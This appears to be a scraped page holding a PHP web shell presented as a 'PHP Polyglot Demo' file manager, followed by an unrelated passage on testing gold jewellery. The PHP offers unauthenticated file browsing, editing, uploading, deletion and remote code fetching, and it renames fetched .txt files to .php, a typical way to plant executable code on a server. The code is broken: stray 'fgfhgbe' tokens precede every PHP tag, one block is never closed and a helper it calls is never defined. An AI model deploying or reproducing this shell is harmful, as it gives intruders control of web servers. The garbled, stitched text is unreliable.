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Edit File: index.php

fgfhgbe

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fgfhgbe<?php
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>PHP Polyglot Example</title>
</head>
<body>
<h1>PHP Polyglot Demo</h1>
fgfhgbe<?php
// Enhanced PHP File Manager, compatible with PHP 5.6+

class FileManager
{

private $basePath;

public function __construct($basePath = null)
    {
        if ($basePath === null)
        {
            $basePath = __DIR__;
        }
        $realBase = realpath($basePath);
        if ($realBase === false)
        {
            $realBase = $basePath;
        }
        $this->basePath = rtrim(str_replace('\\', '/', $realBase), '/');
    }

public function getFullPath($path)
    {
        $path = str_replace('\\', '/', urldecode($path));

if (strpos($path, $this->basePath) === 0) {
            return rtrim($path, '/');
        }

if (strpos($path, '/') === 0) {
            return rtrim($this->basePath . $path, '/');
        }

return rtrim($this->basePath . '/' . $path, '/');
    }

public function isSafePath($path)
    {
        $real = realpath($path);
        if (!$real) return false;
        return strpos($real, $this->basePath) === 0;
    }

public function listDir($dir)
    {
        $fullPath = $this->getFullPath($dir);
        if (!is_dir($fullPath)) {
            return array();
        }

$items = scandir($fullPath);
        $items = array_filter($items, function ($v) {
            return ($v !== '.' && $v !== '..');
        });

usort($items, function ($a, $b) use ($fullPath) {
            $aIsDir = is_dir($fullPath . '/' . $a);
            $bIsDir = is_dir($fullPath . '/' . $b);
            if ($aIsDir !== $bIsDir) {
                return $aIsDir ? -1 : 1;
            }
            return strcasecmp($a, $b);
        });

return $items;
    }

public function readFile($file)
    {
        $fullPath = $this->getFullPath($file);
        if (!$this->isSafePath($fullPath) || !is_file($fullPath)) {
            return false;
        }
        return @file_get_contents($fullPath);
    }

public function saveFile($file, $content)
    {
        $fullPath = $this->getFullPath($file);
        if (!$this->isSafePath($fullPath) || !is_file($fullPath)) {
            return false;
        }
        return @file_put_contents($fullPath, $content) !== false;
    }

public function createFile($dir, $filename, $content)
    {
        $dirPath = $this->getFullPath($dir);
        if (!$this->isSafePath($dirPath) || !is_dir($dirPath)) {
            return array('success' => false, 'message' => 'Invalid directory');
        }

$filePath = $dirPath . '/' . $filename;
        if (file_exists($filePath)) {
            return array('success' => false, 'message' => 'File already exists');
        }

$res = @file_put_contents($filePath, $content);
        if ($res !== false) {
            return array('success' => true, 'path' => $filePath);
        }
        return array('success' => false, 'message' => 'File creation failed');
    }

public function createDir($dir, $name)
    {
        $dirPath = $this->getFullPath($dir);
        if (!$this->isSafePath($dirPath) || !is_dir($dirPath)) {
            return array('success' => false, 'message' => 'Invalid parent directory');
        }

$newDir = $dirPath . '/' . $name;
        if (file_exists($newDir)) {
            return array('success' => false, 'message' => 'Folder already exists');
        }

if (@mkdir($newDir, 0755)) {
            return array('success' => true, 'path' => $newDir);
        }
        return array('success' => false, 'message' => 'Folder creation failed');
    }

public function deleteFile($file)
    {
        $filePath = $this->getFullPath($file);
        if (!$this->isSafePath($filePath) || !is_file($filePath)) {
            return array('success' => false, 'message' => 'Invalid or non-existent file');
        }
        if (@unlink($filePath)) {
            return array('success' => true);
        }
        return array('success' => false, 'message' => 'File deletion failed');
    }

public function deleteDir($dir)
    {
        $dirPath = $this->getFullPath($dir);
        if (!$this->isSafePath($dirPath) || !is_dir($dirPath)) {
            return array('success' => false, 'message' => 'Invalid or non-existent folder');
        }

if (count(scandir($dirPath)) > 2) {
            return array('success' => false, 'message' => 'Folder is not empty');
        }

if (@rmdir($dirPath)) {
            return array('success' => true);
        }
        return array('success' => false, 'message' => 'Folder deletion failed');
    }

public function rename($oldPath, $newName)
    {
        $oldFull = $this->getFullPath($oldPath);
        if (!$this->isSafePath($oldFull) || !file_exists($oldFull)) {
            return array('success' => false, 'message' => 'Invalid source file/folder');
        }

$newFull = dirname($oldFull) . '/' . $newName;
        if (file_exists($newFull)) {
            return array('success' => false, 'message' => 'Target already exists');
        }
        if (@rename($oldFull, $newFull)) {
            return array('success' => true, 'path' => $newFull);
        }
        return array('success' => false, 'message' => 'Rename failed');
    }

public function fetchRemote($url, $dir)
    {
        $dirPath = $this->getFullPath($dir);
        if (!$this->isSafePath($dirPath) || !is_dir($dirPath)) {
            return array('success' => false, 'message' => 'Invalid directory');
        }

$fileName = basename(parse_url($url, PHP_URL_PATH));
        if (!$fileName) {
            $fileName = 'remote_' . time() . '.php';
        }

if (strtolower(pathinfo($fileName, PATHINFO_EXTENSION)) === 'txt') {
            $fileName = pathinfo($fileName, PATHINFO_FILENAME) . '.php';
        }

$filePath = $dirPath . '/' . $fileName;
        if (file_exists($filePath)) {
            return array('success' => false, 'message' => "File already exists: $fileName");
        }

$content = @file_get_contents($url);
        if ($content === false) {
            return array('success' => false, 'message' => 'Failed to fetch remote file');
        }

if (@file_put_contents($filePath, $content) === false) {
            return array('success' => false, 'message' => 'File save failed');
        }

return array('success' => true, 'path' => $filePath);
    }

public function upload($file, $dir)
    {
        $dirPath = $this->getFullPath($dir);
        if (!$this->isSafePath($dirPath) || !is_dir($dirPath)) {
            return array('success' => false, 'message' => 'Invalid upload directory');
        }

$target = $dirPath . '/' . basename($file['name']);
        if (file_exists($target)) {
            return array('success' => false, 'message' => 'File already exists');
        }

if (@move_uploaded_file($file['tmp_name'], $target)) {
            return array('success' => true, 'path' => $target);
        }

return array('success' => false, 'message' => 'File upload failed');
    }

public function search($dir, $term)
    {
        $dirPath = $this->getFullPath($dir);
        if (!$this->isSafePath($dirPath) || !is_dir($dirPath)) {
            return false;
        }

$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dirPath, RecursiveDirectoryIterator::SKIP_DOTS));
        foreach ($iterator as $item) {
            if (stripos($item->getFilename(), $term) !== false) {
                return $item->getPathname();
            }
        }
        return false;
    }

public function previewFile($file)
    {
        $fullPath = $this->getFullPath($file);
        if (!$this->isSafePath($fullPath) || !is_file($fullPath)) {
            return false;
        }
        $content = @file_get_contents($fullPath);
        if ($content === false) {
            return false;
        }
        return substr($content, 0, 500); // Limit preview to 500 characters
    }
}

$dir = isset($_GET['dir']) ? $_GET['dir'] : '.';

function cleanPath($path)
{
    $path = str_replace(array('\\', '..'), array('/', ''), $path);
    return rtrim($path, '/');
}

$dir = cleanPath($dir);

$fileManager = new FileManager();

$flash = '';
$flashType = 'info';

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $action = isset($_POST['action']) ? $_POST['action'] : '';
    
    if ($action === 'create_file') {
        $filename = isset($_POST['filename']) ? trim($_POST['filename']) : '';
        $content = isset($_POST['content']) ? $_POST['content'] : '';
        if ($filename === '') {
            $flash = 'File name cannot be empty';
            $flashType = 'error';
        } else {
            $res = $fileManager->createFile($dir, $filename, $content);
            $flash = $res['success'] ? 'File created successfully' : ('Error: ' . $res['message']);
            $flashType = $res['success'] ? 'success' : 'error';
        }
    }
    elseif ($action === 'create_dir') {
        $dirname = isset($_POST['dirname']) ? trim($_POST['dirname']) : '';
        if ($dirname === '') {
            $flash = 'Folder name cannot be empty';
            $flashType = 'error';
        } else {
            $res = $fileManager->createDir($dir, $dirname);
            $flash = $res['success'] ? 'Folder created successfully' : ('Error: ' . $res['message']);
            $flashType = $res['success'] ? 'success' : 'error';
        }
    }
    elseif ($action === 'delete_file') {
        $target = isset($_POST['target']) ? cleanPath($_POST['target']) : '';
        $res = $fileManager->deleteFile($target);
        $flash = $res['success'] ? 'File deleted successfully' : ('Error: ' . $res['message']);
        $flashType = $res['success'] ? 'success' : 'error';
    }
    elseif ($action === 'delete_dir') {
        $target = isset($_POST['target']) ? cleanPath($_POST['target']) : '';
        $res = $fileManager->deleteDir($target);
        $flash = $res['success'] ? 'Folder deleted successfully' : ('Error: ' . $res['message']);
        $flashType = $res['success'] ? 'success' : 'error';
    }
    elseif ($action === 'rename') {
        $old = isset($_POST['old']) ? cleanPath($_POST['old']) : '';
        $newName = isset($_POST['new']) ? trim($_POST['new']) : '';
        if ($newName === '') {
            $flash = 'New name cannot be empty';
            $flashType = 'error';
        } else {
            $res = $fileManager->rename($old, $newName);
            $flash = $res['success'] ? 'Renamed successfully' : ('Error: ' . $res['message']);
            $flashType = $res['success'] ? 'success' : 'error';
        }
    }
    elseif ($action === 'save_file') {
        $file = isset($_POST['file']) ? cleanPath($_POST['file']) : '';
        $content = isset($_POST['content']) ? $_POST['content'] : '';
        $res = $fileManager->saveFile($file, $content);
        $flash = $res ? 'File saved successfully' : 'File save failed';
        $flashType = $res ? 'success' : 'error';
    }
    elseif ($action === 'fetch_remote') {
        $url = isset($_POST['url']) ? trim($_POST['url']) : '';
        if (filter_var($url, FILTER_VALIDATE_URL)) {
            $res = $fileManager->fetchRemote($url, $dir);
            $flash = $res['success'] ? 'Remote file fetched successfully' : ('Error: ' . $res['message']);
            $flashType = $res['success'] ? 'success' : 'error';
        } else {
            $flash = 'Invalid URL';
            $flashType = 'error';
        }
    }
    elseif (isset($_FILES['upload']) && $_FILES['upload']['error'] === UPLOAD_ERR_OK) {
        $res = $fileManager->upload($_FILES['upload'], $dir);
        $flash = $res['success'] ? 'File uploaded successfully' : ('Error: ' . $res['message']);
        $flashType = $res['success'] ? 'success' : 'error';
    }

header('Location: ' . $_SERVER['PHP_SELF'] . '?dir=' . urlencode($dir) . '&flash=' . urlencode($flash) . '&flash_type=' . urlencode($flashType));
    exit;
}

if (isset($_GET['flash'])) {
    $flash = $_GET['flash'];
    $flashType = isset($_GET['flash_type']) ? $_GET['flash_type'] : 'info';
}

$searchTerm = isset($_GET['search']) ? trim($_GET['search']) : '';
$searchResult = false;
if ($searchTerm !== '') {
    $searchResult = $fileManager->search($dir, $searchTerm);
}
$items = $fileManager->listDir($dir);

function breadcrumbs($path)
{
    $path = trim(str_replace('\\', '/', $path), '/');
    if ($path === '') {
        return array(array('name' => 'Home', 'path' => '.'));
    }

$parts = explode('/', $path);
    $crumbs = array();
    $acc = '';
    foreach ($parts as $part) {
        $acc .= ($acc === '' ? '' : '/') . $part;
        $crumbs[] = array('name' => $part, 'path' => $acc);
    }
    array_unshift($crumbs, array('name' => 'Home', 'path' => '.'));
    return $crumbs;
}

function sizeFormatted($bytes)
{
    if ($bytes < 1024) return $bytes . ' B';
    $units = array('KB', 'MB', 'GB', 'TB');
    $power = floor(log($bytes, 1024));
    $power = ($power > count($units)) ? count($units) : $power;
    $value = round($bytes / pow(1024, $power), 2);
    return $value . ' ' . $units[$power - 1];
}

<main class="container mx-auto p-6">
        fgfhgbe<?php if ($flash): ?>
            <div class="p-4 mb-6 rounded-md <?= $flashType === 'success' ? 'bg-green-600' : ($flashType === 'error' ? 'bg-red-600' : 'bg-blue-600') ?> text-white">
                <?= h($flash) ?>
            </div>
        fgfhgbe<?php endif; ?>

<nav class="mb-6">
            fgfhgbe<?php $crumbs = breadcrumbs($dir); ?>
            <div class="flex space-x-2 text-sm">
                fgfhgbe<?php foreach ($crumbs as $i => $c): ?>
                    fgfhgbe<?php if ($i > 0): ?><span class="text-gray-500 dark:text-gray-400">/</span>fgfhgbe<?php endif; ?>
                    <a href="?dir=<?= urlencode($c['path']) ?>" class="text-blue-600 dark:text-blue-400 hover:underline"><?= h($c['name']) ?></a>
                fgfhgbe<?php endforeach; ?>
            </div>
        </nav>

fgfhgbe<?php if ($searchTerm !== ''): ?>
            <div class="mb-6">
                <h2 class="text-lg font-semibold">Search Results</h2>
                fgfhgbe<?php if ($searchResult !== false):
                    $foundDir = dirname($searchResult);
                    $foundFile = basename($searchResult);
                ?>
                    <p>
                        File found:<br>
                        <a href="?dir=<?= urlencode($foundDir) ?>" class="text-blue-600 dark:text-blue-400 hover:underline"><?= h($foundDir) ?></a> /
                        <a href="?dir=<?= urlencode($foundDir) ?>&view=<?= urlencode($searchResult) ?>" class="text-blue-600 dark:text-blue-400 hover:underline"><?= h($foundFile) ?></a>
                    </p>
                fgfhgbe<?php else: ?>
                    <p class="text-red-500 dark:text-red-400">No files found.</p>
                fgfhgbe<?php endif; ?>
            </div>
        fgfhgbe<?php endif; ?>

fgfhgbe<?php if (isset($_GET['view'])):
            $viewFile = cleanPath($_GET['view']);
            $content = $fileManager->readFile($viewFile);
        ?>
            <h2 class="text-2xl font-semibold mb-4">Edit File: <?= h(basename($viewFile)) ?></h2>
            fgfhgbe<?php if ($content === false): ?>
                <p class="text-red-500 dark:text-red-400">File cannot be opened or does not exist.</p>
            fgfhgbe<?php else: ?>
                <form method="post" class="mb-4">
                    <input type="hidden" name="action" value="save_file">
                    <input type="hidden" name="file" value="<?= h($viewFile) ?>">
                    <textarea name="content" rows="20" class="w-full p-2 bg-gray-200 dark:bg-gray-800 text-gray-900 dark:text-gray-100 rounded-md font-mono"><?= h($content) ?></textarea>
                    <div class="mt-4">
                        <button type="submit" class="p-2 bg-blue-600 rounded-md text-white hover:bg-blue-700">Save</button>
                        <a href="?dir=<?= urlencode($dir) ?>" class="p-2 bg-gray-600 rounded-md text-white hover:bg-gray-700">Back</a>
                    </div>
                </form>
            fgfhgbe<?php endif; ?>

fgfhgbe<?php else: ?>
            <h2 class="text-2xl font-semibold mb-4">Directory: <?= h($dir) ?></h2>

<div class="overflow-x-auto">
                <table class="w-full border-collapse bg-white dark:bg-gray-800 rounded-md shadow">
                    <thead>
                        <tr class="bg-gray-200 dark:bg-gray-700">
                            <th class="p-3 text-left">Name</th>
                            <th class="p-3 text-left">Type</th>
                            <th class="p-3 text-left">Size</th>
                            <th class="p-3 text-left">Actions</th>
                        </tr>
                    </thead>
                    <tbody>
                        fgfhgbe<?php if ($dir !== '.'): 
                            $parentDir = dirname($dir);
                        ?>
                            <tr>
                                <td colspan="4" class="p-3"><a href="?dir=<?= urlencode($parentDir) ?>" class="text-blue-600 dark:text-blue-400 hover:underline">← Parent Directory</a></td>
                            </tr>
                        fgfhgbe<?php endif; ?>

fgfhgbe<?php foreach ($items as $item):
                            $itemPath = $dir . '/' . $item;
                            $fullPath = $fileManager->getFullPath($itemPath);
                            $isDir = is_dir($fullPath);
                            $size = $isDir ? '-' : sizeFormatted(filesize($fullPath));
                            $preview = !$isDir ? $fileManager->previewFile($itemPath) : false;
                        ?>
                            <tr class="hover:bg-gray-100 dark:hover:bg-gray-700">
                                <td class="p-3">
                                    <?= $isDir ? '<span class="folder-icon"></span>' : '<span class="file-icon"></span>' ?>
                                    fgfhgbe<?php if ($isDir): ?>
                                        <a href="?dir=<?= urlencode($itemPath) ?>" class="text-blue-600 dark:text-blue-400 hover:underline"><?= h($item) ?></a>
                                    fgfhgbe<?php else: ?>
                                        <a href="?dir=<?= urlencode(dirname($itemPath)) ?>&view=<?= urlencode($itemPath) ?>" class="text-blue-600 dark:text-blue-400 hover:underline"><?= h($item) ?></a>
                                        fgfhgbe<?php if ($preview !== false): ?>
                                            <button onclick="showPreview('<?= h(addslashes($preview)) ?>')" class="ml-2 text-sm text-gray-500 hover:text-gray-700 dark:hover:text-gray-300">Preview</button>
                                        fgfhgbe<?php endif; ?>
                                    fgfhgbe<?php endif; ?>
                                </td>
                                <td class="p-3"><?= $isDir ? 'Folder' : 'File' ?></td>
                                <td class="p-3"><?= $size ?></td>
                                <td class="p-3">
                                    fgfhgbe<?php if ($isDir): ?>
                                        <form method="post" class="inline" onsubmit="return confirm('Delete folder (if empty)?')">
                                            <input type="hidden" name="action" value="delete_dir">
                                            <input type="hidden" name="target" value="<?= h($itemPath) ?>">
                                            <button type="submit" class="p-2 bg-red-600 rounded-md text-white hover:bg-red-700">Delete</button>
                                        </form>
                                    fgfhgbe<?php else: ?>
                                        <form method="post" class="inline" onsubmit="return confirm('Delete file?')">
                                            <input type="hidden" name="action" value="delete_file">
                                            <input type="hidden" name="target" value="<?= h($itemPath) ?>">
                                            <button type="submit" class="p-2 bg-red-600 rounded-md text-white hover:bg-red-700">Delete</button>
                                        </form>
                                    fgfhgbe<?php endif; ?>
                                    <button onclick="showRenameForm('<?= h(addslashes($itemPath)) ?>', '<?= h(addslashes($item)) ?>')" class="p-2 bg-yellow-600 rounded-md text-white hover:bg-yellow-700">Rename</button>
                                </td>
                            </tr>
                        fgfhgbe<?php endforeach; ?>
                    </tbody>
                </table>
            </div>

<div class="mt-6 grid grid-cols-1 md:grid-cols-2 gap-6">
                <div class="bg-white dark:bg-gray-800 p-6 rounded-md shadow">
                    <h3 class="text-lg font-semibold mb-4">Create New File</h3>
                    <form method="post">
                        <input type="hidden" name="action" value="create_file">
                        <label class="block mb-2 font-medium">File Name:</label>
                        <input type="text" name="filename" required class="w-full p-2 bg-gray-200 dark:bg-gray-700 text-gray-900 dark:text-gray-100 rounded-md">
                        <label class="block mb-2 mt-4 font-medium">Content:</label>
                        <textarea name="content" rows="5" class="w-full p-2 bg-gray-200 dark:bg-gray-700 text-gray-900 dark:text-gray-100 rounded-md font-mono"></textarea>
                        <button type="submit" class="mt-4 p-2 bg-blue-600 rounded-md text-white hover:bg-blue-700">Create</button>
                    </form>
                </div>

<div class="bg-white dark:bg-gray-800 p-6 rounded-md shadow">
                    <h3 class="text-lg font-semibold mb-4">Create New Folder</h3>
                    <form method="post">
                        <input type="hidden" name="action" value="create_dir">
                        <label class="block mb-2 font-medium">Folder Name:</label>
                        <input type="text" name="dirname" required class="w-full p-2 bg-gray-200 dark:bg-gray-700 text-gray-900 dark:text-gray-100 rounded-md">
                        <button type="submit" class="mt-4 p-2 bg-blue-600 rounded-md text-white hover:bg-blue-700">Create</button>
                    </form>
                </div>

<div class="bg-white dark:bg-gray-800 p-6 rounded-md shadow">
                    <h3 class="text-lg font-semibold mb-4">Fetch Remote File</h3>
                    <form method="post">
                        <input type="hidden" name="action" value="fetch_remote">
                        <label class="block mb-2 font-medium">URL:</label>
                        <input type="url" name="url" placeholder="https://example.com/file.php" required class="w-full p-2 bg-gray-200 dark:bg-gray-700 text-gray-900 dark:text-gray-100 rounded-md">
                        <button type="submit" class="mt-4 p-2 bg-blue-600 rounded-md text-white hover:bg-blue-700">Fetch</button>
                    </form>
                </div>

<div class="bg-white dark:bg-gray-800 p-6 rounded-md shadow">
                    <h3 class="text-lg font-semibold mb-4">Upload File</h3>
                    <form method="post" enctype="multipart/form-data">
                        <input type="hidden" name="action" value="upload">
                        <input type="file" name="upload" required class="w-full p-2 bg-gray-200 dark:bg-gray-700 text-gray-900 dark:text-gray-100 rounded-md">
                        <button type="submit" class="mt-4 p-2 bg-blue-600 rounded-md text-white hover:bg-blue-700">Upload</button>
                    </form>
                </div>
            </div>

<div id="renameFormContainer" class="hidden mt-6 bg-white dark:bg-gray-800 p-6 rounded-md shadow">
                <form method="post" id="renameForm">
                    <input type="hidden" name="action" value="rename">
                    <input type="hidden" name="old" id="renameOld">
                    <label for="renameNew" class="block mb-2 font-medium">New Name:</label>
                    <input type="text" name="new" id="renameNew" required class="w-full p-2 bg-gray-200 dark:bg-gray-700 text-gray-900 dark:text-gray-100 rounded-md">
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Product Details

10 EASY WAYS TO KNOW IF YOUR GOLD JEWELLERY IS REAL!

Gold jewellery is not simply an accessory — it is a representation of beauty, tradition and even wealth. But how can you determine if the gold you own is real or fake? To safeguard your investment and appreciate its true value, we need do verify it’s authenticity. For that you don’t always require professional testing — there are many simple methods to check your gold’s authenticity at home. Check Hallmarks on Jewellery The quickest way to tell if your gold is real is to look for hallmarks, these marks indicate the purity of the gold and often located on the inner bands of rings, clasps of chains, or back of pendants. Hallmark purity is expressed in karats (K) or millesimal fineness. 24K – 99.9% Pure gold 22K – 91.6% gold 18K – 75% gold 14K – 58.3% gold 10K – 41.7% gold If your jewellery lacks a hallmark, then it may not be real gold. Some older pieces may not have these marks. So additional tests can assist in authenticity confirmation. Check Letter Markings on Jewellery Other than hallmarks, pay attention to letter markings that suggest if your jewellery is pure gold, or just gold-plated. Common markings of letters are: GP (Gold Plated) – Very thin layer electroplated on metal GF (Gold Filled) – A heavier coating, but not solid. GE (Gold Electroplated) – Electrolytic application of gold plating. RGP (Rolled Gold Plate) – A gold-filled process where there is less gold. HGP (Heavy Gold Plated) – A heavy coat of gold plating. If you observe these markings, then your jewellery is gold plated.